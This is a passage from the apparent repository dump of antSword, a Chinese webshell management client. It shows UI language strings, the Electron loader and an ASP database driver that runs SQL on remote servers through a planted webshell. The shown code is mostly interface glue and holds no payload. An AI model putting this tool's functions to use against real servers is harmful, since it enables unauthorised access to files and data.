=> antSword.noxss(`新建目录 [${path}] 失败！${err ? '\\n' + err : ''}`)\n    },\n    createFile: {\n      title: '新建文件',\n      value: '新文件.txt',\n      success: (path) => antSword.noxss(`新建文件成功！\\n${path}`),\n      error: (path, err) => antSword.noxss(`新建文件 [${path}] 失败！${err ? '\\n' + err : ''}`)\n    },\n    retime: {\n      title: '更改时间',\n      success: (path) => antSword.noxss(`更改文件时间成功！\\n${path}`),\n      error: (path, err) => antSword.noxss(`更改文件时间 [${path}] 失败！${err ? '\\n' + err : ''}`)\n    },\n    wget: {\n      title: 'Wget下载文件',\n      check: 'URL地址不正确！',\n      task: {\n        name: 'WGET下载',\n        start: '开始下载..',\n        success: '下载成功！',\n        failed: (ret) => antSword.noxss(`失败:${ret}`),\n        error: (err) => antSword.noxss(`错误:${err}`)\n      }\n    },\n    upload: {\n      task: {\n        name: '上传',\n        success: '上传成功',\n        failed: (err) => antSword.noxss(`失败:${err}`),\n        error: (err) => antSword.noxss(`出错:${err}`)\n      },\n      success: (path) => antSword.noxss(`上传文件成功！\\n${path}`),\n      error: (path, err) => antSword.noxss(`上传文件 [${path}] 失败！${err}`),\n    },\n    folder: {\n      title: '目录列表'\n    },\n    files: {\n      title: '文件列表',\n      bookmark: {\n        add: '添加书签',\n        del: '移除书签',\n        clear: '清空书签'\n      },\n      toolbar: {\n        new: '新建',\n        folder: '目录',\n        file: '文件',\n        wget: 'Wget下载',\n        upload: '上传文件',\n        up: '上层',\n        refresh: '刷新',\n        home: '主目录',\n        bookmark: '书签',\n        read: '读取'\n      },\n      prompt: {\n        add: {\n          title: '添加到书签',\n          success: (path) => antSword.noxss(`添加书签成功！\\n${path}`),\n        },\n        remove: {\n          title: '移除书签',\n          confirm: '确定移除此书签吗？',\n          success: '移除书签成功！'\n        },\n        clear: {\n          title: '清空书签',\n          confirm: '确定清空所有书签吗？',\n          success: '清空所有书签成功！'\n        }\n      },\n      grid: {\n        header: {\n          name: '名称',\n          time: '日期',\n          size: '大小',\n          attr: '属性'\n        },\n        contextmenu: {\n          paste: {\n            title: '粘贴文件',\n            all: '所有列表',\n            clear: {\n              title: '清空列表',\n              info: '清空剪贴板'\n            }\n          },\n          preview: '预览文件',\n          edit: '编辑文件',\n          delete: '删除文件',\n          rename: '重命名文件',\n          refresh: '刷新目录',\n          wget: 'WGET下载',\n          upload: '上传文件',\n          download: '下载文件',\n          modify: '更改文件时间',\n          copy: {\n            title: '复制文件',\n            warning: (id) => antSword.noxss(`已经添加到剪贴板！\\n${id}`),\n            info: (id) => antSword.noxss(`添加文件到剪贴板\\n${id}`)\n          },\n          create: {\n            title: '新建',\n            folder: '目录',\n            file: '文件'\n          }\n        }\n      }\n    },\n    editor: {\n      title: (path) => antSword.noxss(`编辑: ${path}`),\n      toolbar: {\n        save: '保存',\n        mode: '高亮',\n        encode: '编码'\n      },\n      loadErr: (err) => antSword.noxss(`加载文件出错！\\n${err}`),\n      success: (path) => antSword.noxss(`保存文件成功！\\n${path}`),\n      error: (path, err) => antSword.noxss(`保存文件 [${path}] 失败！${err}`)\n    },\n    tasks: {\n      title: '任务列表',\n      grid: {\n        header: {\n          name: '名称',\n          desc: '简介',\n          status: '状态',\n          stime: '创建时间',\n          etime: '完成时间'\n        }\n      }\n    },\n    download: {\n      title: '下载文件',\n      task: {\n        name: '下载',\n        wait: '准备下载',\n        cancel: '取消下载',\n        start: '开始下载',\n        success: '下载成功',\n        error: (err) => antSword.noxss(`出错:${err}`)\n      },\n      error: (name, err) => antSword.noxss(`下载文件[${name}]出错！\\n${err}`),\n      success: (name) => antSword.noxss(`下载文件[${name}]成功！`)\n    }\n  },\n  database: {\n    list: {\n      title: '配置列表',\n      add: '添加',\n      del: '删除',\n      edit: '编辑',\n      menu: {\n        add: '添加配置',\n        del: '删除配置',\n        edit: '编辑配置'\n      }\n    },\n    query: {\n      title: '执行SQL',\n      exec: '执行',\n      clear: '清空'\n    },\n    result: {\n      title: '执行结果',\n      warning: '操作完毕，但没有结果返回！',\n      error: {\n        database: (err) => antSword.noxss(`获取数据库列表失败！\\n${err}`),\n        table: (err) => antSword.noxss(`获取表数据失败！\\n${err}`),\n        column: (err) => antSword.noxss(`获取字段列表失败！\\n${err}`),\n        query: (err) => antSword.noxss(`执行SQL失败！\\n${err}`),\n        parse: '返回数据格式不正确！',\n        noresult: '没有查询结果！'\n      }\n    },\n    form: {\n      title: '添加配置',\n      toolbar: {\n        add: '添加',\n        clear: '清空',\n        edit: '编辑'\n      },\n      conn: '连接字符串',\n      type: '数据库类型',\n      encode: '数据库编码',\n      host: '数据库地址',\n      user: '连接用户',\n      passwd: '连接密码',\n      warning: '请填写完整！',\n      success: '成功添加配置！',\n      del: {\n        title: '删除配置',\n        confirm: '确定删除此配置吗？',\n        success: '删除配置成功！',\n        error: (err) => antSword.noxss(`删除配置失败！\\n${err}`)\n      }\n    }\n  },\n  settings: {\n    about: {\n      title: '关于程序',\n      header: '中国蚁剑',\n      homepage: '主页',\n      document: '文档',\n      qqgroup: 'Q群'\n    },\n    language: {\n      title: '语言设置',\n      toolbar: {\n        save: '保存'\n      },\n      form: {\n        label: '选择显示语言'\n      },\n      success: '保存语言设置成功！',\n      confirm: {\n        content: '重启应用生效，是否重启？',\n        title: '更改语言'\n      }\n    },\n    update: {\n      title: '检查更新',\n      current: '当前版本',\n      toolbar: {\n        check: '检查'\n      },\n      check: {\n        ing: '检查更新中。。',\n        fail: (err) => `检查更新失败！\\n${err}`,\n        none: (ver) => `检查完毕，暂无更新！【v${ver}】`,\n        found: (ver) => `发现新版本【v${ver}】`\n      },\n      prompt: {\n        btns: {\n          ok: '立即更新',\n          no: '下次再说'\n        },\n        body: (ver) => `发现新版本 v${ver}, 是否更新?`,\n        title: '版本更新',\n        changelog: '更新日志：',\n        sources: '更新来源：',\n        fail: {\n          md5: '文件MD5值校验失败！',\n          unzip: (err) => `解压文件失败！【${err}】`\n        }\n      },\n      message: {\n        prepare: \"连接更新服务器...\",\n        dling: (progress)=> `正在下载更新包...${progress}%`,\n        dlend: \"下载完毕\",\n        extract: \"正在解压, 请务关闭程序\",\n        ing: '努力更新中。。',\n        fail: (err) => `更新失败！【${err}】`,\n        success: '更新成功！请稍后手动重启应用！'\n      }\n    },\n    encoders:{\n      title: '编码管理',\n      toolbar: {\n        new: \"新建\",\n        edit: \"编辑\",\n        delete: \"删除\",\n        help: \"帮助\",\n        save: \"保存\",\n      },\n      grid: {\n        ename: \"名称\",\n        etype: \"类型\"\n      },\n      edit_win_title: \"编辑编码器\",\n      delete_title: \"删除编码器\",\n      message: {\n        ename_duplicate: \"编码器名称不能重复\",\n        rename_success: \"重命名成功\",\n        etype_error: \"编码器类型错误\",\n        retype_success: \"类型修改成功\",\n        create_success: \"新增编码器成功\",\n        edit_not_select: \"请先选中要编辑的行\",\n        edit_only_single: \"只能编辑一个\",\n        edit_null_value: \"编码器内容不能为空\",\n        edit_save_success: \"保存成功\",\n        delete_not_select: \"请先选中要删除的行\",\n        delete_success: \"删除成功\",\n        ename_invalid: \"名称只能包含数字、字母、下划线\",\n      },\n      prompt: {\n        create_encoder: \"创建编码器\",\n      },\n      confirm: {\n        delete: (num) => antSword.noxss(`你确定要删除 ${typeof(num) === 'number' ? num + ' 个编码器' : num+\" \"}吗？`),\n      }\n    },\n    aproxy: {\n      title: '代理设置',\n      toolbar: {\n        save: '保存',\n        test: '测试连接'\n      },\n      form: {\n        label: '配置访问互联网的代理',\n        mode:{\n          noproxy: '不使用代理',\n          manualproxy: '手动设置代理'\n        },\n        proxy: {\n          protocol: '代理协议',\n          server: '代理服务器',\n          port: '端口',\n          username: '用户名',\n          password: '密码',\n          authtip: '如果无认证方式请留空'\n        }\n      },\n      success: '保存代理设置成功！',\n      error: '保存代理设置失败！',\n      confirm: {\n        content: '重启应用生效，是否重启？',\n        title: '更改代理设置'\n      },\n      prompt:{\n        title: '输入测试的 URL',\n        success: '连接到代理服务器成功',\n        error: '连接到代理服务器失败'\n      }\n    },\n    display: {\n      title: '显示设置',\n      success: '保存显示设置成功！',\n      error: '保存显示设置失败！',\n      confirm: {\n        content: '重启应用生效，是否重启？',\n        title: '更改显示设置'\n      },\n      toolbar: {\n        save: '保存'\n      },\n      form:{\n        shellmanager: {\n          title: '数据管理',\n          hiddencolumns: {\n            title: '隐藏选中列',\n            url: 'URL地址',\n            ip: 'IP地址',\n            addr: '物理位置',\n            note: '网站备注',\n            ctime: '创建时间',\n            utime: '更新时间'\n          }\n        }\n      }\n    }\n  },\n  plugin: {\n    error: (err) => antSword.noxss(`加载插件中心失败！\\n${err}`)\n  },\n  update: {\n    title: '发现更新',\n    body: (ver) => `新的版本：${ver}, 查看更新日志`,\n  },\n  viewsite: {\n    toolbar: {\n      save: '保存',\n      view: '浏览'\n    },\n    saveSuccess: '保存Cookie成功！',\n    saveFailed: (err) => `保存Cookie失败！\\n${err}`\n  }\n}\n"
  },
  {
    "path": "antSword/source/load.entry.js",
    "content": "/**\n * 中国蚁剑::前端加载模块\n * 开写: 2016/04/23\n * 更新: 2016/05/10\n * 作者: 蚁逅 <https://github.com/antoor>\n */\n\n'use strict';\n\n// 添加源码目录到全局模块加载变量，以提供后边加载\nconst path = require('path');\nconst Module = require('module').Module;\nconst {remote} = require('electron');\nModule.globalPaths.push(path.join(remote.process.env.AS_WORKDIR, 'source'));\n\n// 开始加载时间\nlet APP_START_TIME = +new Date;\n\nwindow.addEventListener('load', () => {\n  /**\n   * 时间格式化函数\n   * @param  {String} format 格式化字符串，如yyyy/mm/dd hh:ii:ss\n   * @return {String}        格式化完毕的字符串\n   */\n  Date.prototype.format = function(format) {\n    let o = {\n      \"M+\" : this.getMonth()+1,\n      \"d+\" : this.getDate(),\n      \"h+\" : this.getHours(),\n      \"m+\" : this.getMinutes(),\n      \"s+\" : this.getSeconds(),\n      \"q+\" : Math.floor((this.getMonth()+3)/3),\n      \"S\" : this.getMilliseconds()\n    }\n    if(/(y+)/.test(format)) {\n      format=format.replace(RegExp.$1, (this.getFullYear()+\"\").substr(4- RegExp.$1.length))\n    };\n    for(let k in o) {\n      if(new RegExp(\"(\"+ k +\")\").test(format)) {\n        format = format.replace(RegExp.$1, RegExp.$1.length==1? o[k] : (\"00\"+ o[k]).substr((\"\"+ o[k]).length));\n      }\n    }\n    return format;\n  }\n\n  Array.prototype.unique = function(){\n    var res = [];\n    var json = {};\n    for(var i = 0; i < this.length; i++){\n      if(!json[this[i]]){\n        res.push(this[i]);\n        json[this[i]] = 1;\n      }\n    }\n    return res;\n  }\n\n\n  /**\n   * 加载JS函数\n   * @param  {String}   js js地址\n   * @return {Promise}     返回Promise操作对象\n   */\n  function loadJS(js) {\n    return new Promise((res, rej) => {\n      let script = document.createElement('script');\n      script.src = js;\n      script.onload = res;\n      document.head.appendChild(script);\n    });\n  }\n\n  /**\n   * 加载CSS函数\n   * @param  {String}   css css地址\n   * @return {Promise}      返回Promise操作对象\n   */\n  function loadCSS(css) {\n    return new Promise((res, rej) => {\n      let style = document.createElement('link');\n      style.rel = 'stylesheet';\n      style.href = css;\n      style.onload = res;\n      document.head.appendChild(style);\n    });\n  }\n\n  // 开始加载css\n  loadCSS('ant-static://libs/bmenu/bmenu.css')\n    .then(() => loadCSS('ant-static://libs/toastr/toastr.min.css'))\n    .then(() => loadCSS('ant-static://libs/layer/src/skin/layer.css'))\n    .then(() => loadCSS('ant-static://libs/layer/src/skin/layer.ext.css'))\n    .then(() => loadCSS('ant-static://libs/laydate/need/laydate.css'))\n    .then(() => loadCSS('ant-static://libs/laydate/skins/default/laydate.css'))\n    .then(() => loadCSS('ant-static://libs/terminal/css/jquery.terminal-1.1.1.css'))\n    .then(() => loadCSS('ant-static://libs/font-awesome/css/font-awesome.min.css'))\n    .then(() => loadCSS('ant-static://libs/dhtmlx/codebase/dhtmlx.css'))\n    .then(() => loadCSS('ant-static://libs/dhtmlx/skins/mytheme/dhtmlx.css'))\n    .then(() => loadCSS('ant-static://css/index.css'));\n\n  // 加载js资源\n  loadJS('ant-static://libs/jquery/jquery.js')\n    .then(() => loadJS('ant-static://libs/ace/ace.js'))\n    .then(() => loadJS('ant-static://libs/ace/ext-language_tools.js'))\n    .then(() => loadJS('ant-static://libs/bmenu/bmenu.js'))\n    .then(() => loadJS('ant-static://libs/toastr/toastr.js'))\n    .then(() => loadJS('ant-static://libs/layer/src/layer.js'))\n    .then(() => loadJS('ant-static://libs/laydate/laydate.js'))\n    .then(() => loadJS('ant-static://libs/terminal/js/jquery.terminal-min-1.1.1.js'))\n    .then(() => loadJS('ant-static://libs/dhtmlx/codebase/dhtmlx.js'))\n    .then(() => {\n      /**\n       * 配置layer弹出层\n       * @param  {[type]} {extend: 'extend/layer.ext.js'} [description]\n       * @return {[type]}          [description]\n       */\n      layer.config({extend: 'extend/layer.ext.js'});\n      // 加载程序入口\n      require('app.entry');\n      // LOGO\n      console.group('LOGO');\n      console.log(\n  `%c\n          _____     _   _____                 _\n         |  _  |___| |_|   __|_ _ _ ___ ___ _| |\n         |     |   |  _|__   | | | | . |  _| . |\n         |__|__|_|_|_| |_____|_____|___|_| |___|%c\n\n     ->| Ver: %c${antSword.package.version}%c\n   -+=>| Git: %c${antSword.package.repository['url']}%c\n     -*| End: %c${+new Date - APP_START_TIME}%c/ms\n\n  `,\n      'color: #F44336;', 'color: #9E9E9E;',\n      'color: #4CAF50;', 'color: #9E9E9E;',\n      'color: #2196F3;', 'color: #9E9E9E;',\n      'color: #FF9800;', 'color: #9E9E9E;'\n      );\n      APP_START_TIME = null;\n      console.groupEnd();\n    });\n});\n"
  },
  {
    "path": "antSword/source/modules/database/asp/index.js",
    "content": "//\n// 数据库驱动::ASP\n// 支持数据库:access,sqlserver,mysql\n//\n\nconst LANG = antSword['language']['database'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass ASP {\n\n  constructor(opt) {\n    this.opt = opt;\n    this.core = this.opt.core;\n    this.manager = this.opt.super;\n    //\n    // * 数据库驱动列表\n    //\n    this.conns = {\n      'dsn': 'Dsn=DsnName;',\n      'mysql': 'Driver={MySQL};Server=localhost;database=mysql;UID=root;PWD=',\n      'access': 'Driver={Microsoft Access Driver(*.mdb)};DBQ=c:\\\\test.mdb',\n      'sqlserver': 'Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=',\n      'sqloledb_1': 'Provider=SQLOLEDB.1;User ID=sa;Password=;Initial Catalog=master;Data Source=(local);',\n      'sqloledb_1_sspi': 'Provider=SQLOLEDB.1;Initial Catalog=master;Data Source=(local);Integrated Security=SSPI;',\n      'oracle': 'Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True;',\n      'microsoft_jet_oledb_4_0': 'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\\\\test.mdb'\n    };\n    // 1. 初始化TREE UI\n    this.tree = this.manager.list.layout.attachTree();\n    // 2. 加载数据库配置\n    this.parse();\n    // 3. tree单击::设置当前配置&&激活按钮\n    this.tree.attachEvent('onClick', (id) => {\n      // 更改按钮状态\n      id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar();\n      // 设置当前配置\n      const tmp = id.split('::');\n      const arr = tmp[1].split(':');\n      // 设置当前数据库\n      this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n        _id: this.manager.opt['_id'],\n        id: arr[0]\n      });\n      if (arr.length > 1) {\n        this.dbconf['database'] = new Buffer(arr[1], 'base64').toString();\n        // 更新SQL编辑器\n        this.enableEditor();\n        // manager.query.update(this.currentConf);\n      }else{\n        this.disableEditor();\n      }\n    });\n    // 4. tree双击::加载库/表/字段\n    this.tree.attachEvent('onDblClick', (id) => {\n      const arr = id.split('::');\n      if (arr.length < 2) { throw new Error('ID ERR: ' + id) };\n      switch(arr[0]) {\n        // 获取数据库列表\n        case 'conn':\n          this.getDatabases(arr[1]);\n          break;\n        // 获取数据库表名\n        case 'database':\n          let _db = arr[1].split(':');\n          this.getTables(\n            _db[0],\n            new Buffer(_db[1], 'base64').toString()\n          );\n          break;\n        // 获取表名字段\n        case 'table':\n          let _tb = arr[1].split(':');\n          this.getColumns(\n            _tb[0],\n            new Buffer(_tb[1], 'base64').toString(),\n            new Buffer(_tb[2], 'base64').toString()\n          );\n          break;\n        // 生成查询SQL语句\n        case 'column':\n          let _co = arr[1].split(':');\n          const table = new Buffer(_co[2], 'base64').toString();\n          const column = new Buffer(_co[3], 'base64').toString();\n\n          const sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`;\n          this.manager.query.editor.session.setValue(sql);\n          break;\n      }\n    });\n    // 5. tree右键::功能菜单\n    this.tree.attachEvent('onRightClick', (id, event) => {\n      if (!id.startsWith('conn::')) { return };\n      this.tree.selectItem(id);\n      this.tree.callEvent('onClick', [id]);\n      bmenu([\n        {\n          text: LANG['list']['menu']['add'],\n          icon: 'fa fa-plus-circle',\n          action: this.addConf.bind(this)\n        }, {\n          divider: true\n        }, {\n          text: LANG['list']['menu']['edit'],\n          icon: 'fa fa-edit',\n          action: this.editConf.bind(this)\n        }, {\n          divider: true\n        }, {\n          text: LANG['list']['menu']['del'],\n          icon: 'fa fa-remove',\n          action: this.delConf.bind(this)\n        }\n      ], event);\n    });\n  }\n\n  // 加载配置列表\n  parse() {\n    // 获取数据\n    const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n    const conf = info['database'] || {};\n    // 刷新UI\n    // 1.清空数据\n    this.tree.deleteChildItems(0);\n    // 2.添加数据\n    let items = [];\n    for (let _ in conf) {\n      items.push({\n        id: `conn::${_}`,\n        // text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n        text: conf[_]['type'].toUpperCase(),\n        im0: this.manager.list.imgs[0],\n        im1: this.manager.list.imgs[0],\n        im2: this.manager.list.imgs[0]\n      });\n    }\n    // 3.刷新UI\n    this.tree.parse({\n      id: 0,\n      item: items\n    }, 'json');\n    // 禁用按钮\n    this.disableToolbar();\n    this.disableEditor();\n  }\n\n  // 添加配置\n  addConf() {\n    const hash = (+new Date * Math.random()).toString(16).substr(2, 8);\n    // 创建窗口\n    const win = this.manager.win.createWindow(hash, 0, 0, 450, 300);\n    win.setText(LANG['form']['title']);\n    win.centerOnScreen();\n    win.button('minmax').hide();\n    win.setModal(true);\n    win.denyResize();\n    // 工具栏\n    const toolbar = win.attachToolbar();\n    toolbar.loadStruct([{\n      id: 'add',\n      type: 'button',\n      icon: 'plus-circle',\n      text: LANG['form']['toolbar']['add']\n    }, {\n      type: 'separator'\n    }, {\n      id: 'clear',\n      type: 'button',\n      icon: 'remove',\n      text: LANG['form']['toolbar']['clear']\n    }]);\n\n    // form\n    const form = win.attachForm([\n      { type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 },\n      { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [\n        { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => {\n          let ret = [];\n          for (let _ in this.conns) {\n            ret.push({\n              text: _.toUpperCase(),\n              value: _\n            });\n          }\n          return ret;\n        })() },\n        { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: 'Dsn=DsnName;', rows: 9 }\n      ]}\n    ], true);\n\n    form.attachEvent('onChange', (_, id) => {\n      if (_ !== 'type') { return };\n      form.setFormData({\n        conn: this.conns[id]\n      });\n    });\n\n    // 工具栏点击事件\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'clear':\n          form.clear();\n          break;\n        case 'add':\n          if (!form.validate()) {\n            // return '填写完整！';\n            return toastr.warning(LANG['form']['warning'], LANG_T['warning']);\n          };\n          // 解析数据\n          let data = form.getValues();\n          // 验证是否连接成功(获取数据库列表)\n          const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', {\n            _id: this.manager.opt['_id'],\n            data: data\n          });\n          win.close();\n          toastr.success(LANG['form']['success'], LANG_T['success']);\n          this.tree.insertNewItem(0,\n            `conn::${id}`,\n            // `${data['type']}:\\/\\/${data['user']}@${data['host']}`,\n            data['type'].toUpperCase(),\n            null,\n            this.manager.list.imgs[0],\n            this.manager.list.imgs[0],\n            this.manager.list.imgs[0]\n          );\n          break;\n      }\n    });\n  }\n\n  // 修改配置\n  editConf() {\n    const id = this.tree.getSelected().split('::')[1];\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n    const hash = (+new Date * Math.random()).toString(16).substr(2, 8);\n    // 创建窗口\n    const win = this.manager.win.createWindow(hash, 0, 0, 450, 300);\n    win.setText(LANG['form']['title']);\n    win.centerOnScreen();\n    win.button('minmax').hide();\n    win.setModal(true);\n    win.denyResize();\n    // 工具栏\n    const toolbar = win.attachToolbar();\n    toolbar.loadStruct([{\n      id: 'edit',\n      type: 'button',\n      icon: 'edit',\n      text: LANG['form']['toolbar']['edit']\n    }, {\n      type: 'separator'\n    }, {\n      id: 'clear',\n      type: 'button',\n      icon: 'remove',\n      text: LANG['form']['toolbar']['clear']\n    }]);\n\n    // form\n    const form = win.attachForm([\n      { type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 },\n      { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [\n        { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => {\n          let ret = [];\n          for (let _ in this.conns) {\n            ret.push({\n              text: _.toUpperCase(),\n              value: _,\n              selected: conf['type'] === _\n            });\n          }\n          return ret;\n        })() },\n        { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: conf['conn'], rows: 9 }\n      ]}\n    ], true);\n\n    form.attachEvent('onChange', (_, id) => {\n      if (_ !== 'type') { return };\n      form.setFormData({\n        conn: this.conns[id]\n      });\n    });\n\n    // 工具栏点击事件\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'clear':\n          form.clear();\n          break;\n        case 'edit':\n          if (!form.validate()) {\n            return toastr.warning(LANG['form']['warning'], LANG_T['warning']);\n          };\n          // 解析数据\n          let data = form.getValues();\n          // 验证是否连接成功(获取数据库列表)\n          const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', {\n            _id: this.manager.opt['_id'],\n            id: this.tree.getSelected().split('::')[1],\n            data: data\n          });\n          win.close();\n          toastr.success(LANG['form']['success'], LANG_T['success']);\n          // 刷新 UI\n          this.parse();\n          break;\n      }\n    });\n  }\n\n  // 删除配置\n  delConf() {\n    const id = this.tree.getSelected().split('::')[1];\n    layer.confirm(LANG['form']['del']['confirm'], {\n      icon: 2, shift: 6,\n      title: LANG['form']['del']['title']\n    }, (_) => {\n      layer.close(_);\n      const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', {\n        _id: this.manager.opt['_id'],\n        id: id\n      });\n      if (ret === 1) {\n        toastr.success(LANG['form']['del']['success'], LANG_T['success']);\n        this.tree.deleteItem(`conn::${id}`);\n        // 禁用按钮\n        this.disableToolbar();\n        this.disableEditor();\n        // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem);\n        // this.parse();\n      }else{\n        toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']);\n      }\n    });\n  }\n\n  // 获取数据库列表\n  getDatabases(id) {\n    this.manager.list.layout.progressOn();\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n\n    this.core.request(\n      this.core[`database_${conf['type']}`].show_databases(\n      {\n        conn: conf['conn'],\n        dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\\w]+.mdb$/) : 'database'\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      const arr = ret.split('\\t');\n      if (arr.length === 1 && ret === '') {\n        toastr.warning(LANG['result']['warning'], LANG_T['warning']);\n        return this.manager.list.layout.progressOff();\n      };\n      // 删除子节点\n      this.tree.deleteChildItems(`conn::${id}`);\n      // 添加子节点\n      arr.map((_) => {\n        if (!_) { return };\n        const _db = new Buffer(_).toString('base64');\n        this.tree.insertNewItem(\n          `conn::${id}`,\n          `database::${id}:${_db}`,\n          _, null,\n          this.manager.list.imgs[1],\n          this.manager.list.imgs[1],\n          this.manager.list.imgs[1]);\n      });\n      this.manager.list.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.list.layout.progressOff();\n    });\n  }\n\n  // 获取数据库表数据\n  getTables(id, db) {\n    this.manager.list.layout.progressOn();\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n\n    this.core.request(\n      this.core[`database_${conf['type']}`].show_tables(\n      {\n        conn: conf['conn'],\n        dbname: db\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      const arr = ret.split('\\t');\n      const _db = new Buffer(db).toString('base64');\n      // 删除子节点\n      this.tree.deleteChildItems(`database::${id}:${_db}`);\n      // 添加子节点\n      arr.map((_) => {\n        if (!_) { return };\n        const _table = new Buffer(_).toString('base64');\n        this.tree.insertNewItem(\n          `database::${id}:${_db}`,\n          `table::${id}:${_db}:${_table}`,\n          _,\n          null,\n          this.manager.list.imgs[2],\n          this.manager.list.imgs[2],\n          this.manager.list.imgs[2]\n        );\n      });\n      this.manager.list.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.list.layout.progressOff();\n    });\n  }\n\n  // 获取字段\n  getColumns(id, db, table) {\n    this.manager.list.layout.progressOn();\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n\n    this.core.request(\n      this.core[`database_${conf['type']}`].show_columns(\n      {\n        conn: conf['conn'],\n        table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `SELECT TOP 1 * FROM ${table}`\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      const arr = ret.split('\\t');\n      const _db = new Buffer(db).toString('base64');\n      const _table = new Buffer(table).toString('base64');\n      // 删除子节点\n      this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`);\n      // 添加子节点\n      arr.map((_) => {\n        if (!_) { return };\n        const _column = new Buffer(_.split(' ')[0]).toString('base64');\n        this.tree.insertNewItem(\n          `table::${id}:${_db}:${_table}`,\n          `column::${id}:${_db}:${_table}:${_column}`,\n          _, null,\n          this.manager.list.imgs[3],\n          this.manager.list.imgs[3],\n          this.manager.list.imgs[3]\n        );\n      });\n      // 更新编辑器SQL语句\n      this.manager.query.editor.session.setValue(\n        conf['type'] === 'oracle'\n        ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20`\n        : `SELECT TOP 20 * FROM ${table} ORDER BY 1 DESC;`);\n      this.manager.list.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.list.layout.progressOff();\n    });\n  }\n\n  // 执行SQL\n  execSQL(sql) {\n    this.manager.query.layout.progressOn();\n\n    this.core.request(\n      this.core[`database_${this.dbconf['type']}`].query({\n        conn: this.dbconf['conn'],\n        sql: sql\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      // 更新执行结果\n      this.updateResult(ret);\n      this.manager.query.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.query.layout.progressOff();\n    });\n  }\n\n  // 更新SQL执行结果\n  updateResult(data) {\n    // 1.分割数组\n    const arr = data.split('\\n');\n    // let arr = [];\n    // _arr.map((_) => {\n    //   arr.push(antSword.noxss(_));\n    // });\n    // console.log(_arr, arr);\n    // 2.判断数据\n    if (arr.length < 2) {\n      return toastr.error(LANG['result']['error']['parse'], LANG_T['error']);\n    };\n    // 3.行头\n    let header_arr = arr[0].split('\\t|\\t');\n    if (header_arr.length === 1) {\n      return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']);\n    };\n    if (header_arr[header_arr.length - 1] === '\\r') {\n      header_arr.pop();\n    };\n    arr.shift();\n    // 4.数据\n    let data_arr = [];\n    arr.map((_) => {\n      let _data = _.split('\\t|\\t');\n      data_arr.push(_data);\n    });\n    data_arr.pop();\n    // 5.初始化表格\n    const grid = this.manager.result.layout.attachGrid();\n    grid.clearAll();\n    grid.setHeader(header_arr.join(',').replace(/,$/, ''));\n    grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));\n    grid.setInitWidths('*');\n    grid.setEditable(true);\n    grid.init();\n    // 添加数据\n    let grid_data = [];\n    for (let i = 0; i < data_arr.length; i ++) {\n      grid_data.push({\n        id: i + 1,\n        data: data_arr[i]\n      });\n    }\n    grid.parse({\n      'rows': grid_data\n    }, 'json');\n    // 启用导出按钮\n    // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');\n  }\n\n  // 禁用toolbar按钮\n  disableToolbar() {\n    this.manager.list.toolbar.disableItem('del');\n    this.manager.list.toolbar.disableItem('edit');\n  }\n\n  // 启用toolbar按钮\n  enableToolbar() {\n    this.manager.list.toolbar.enableItem('del');\n    this.manager.list.toolbar.enableItem('edit');\n  }\n\n  // 禁用SQL编辑框\n  disableEditor() {\n    ['exec', 'clear'].map(\n      this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar)\n    );\n    this.manager.query.editor.setReadOnly(true);\n  }\n\n  // 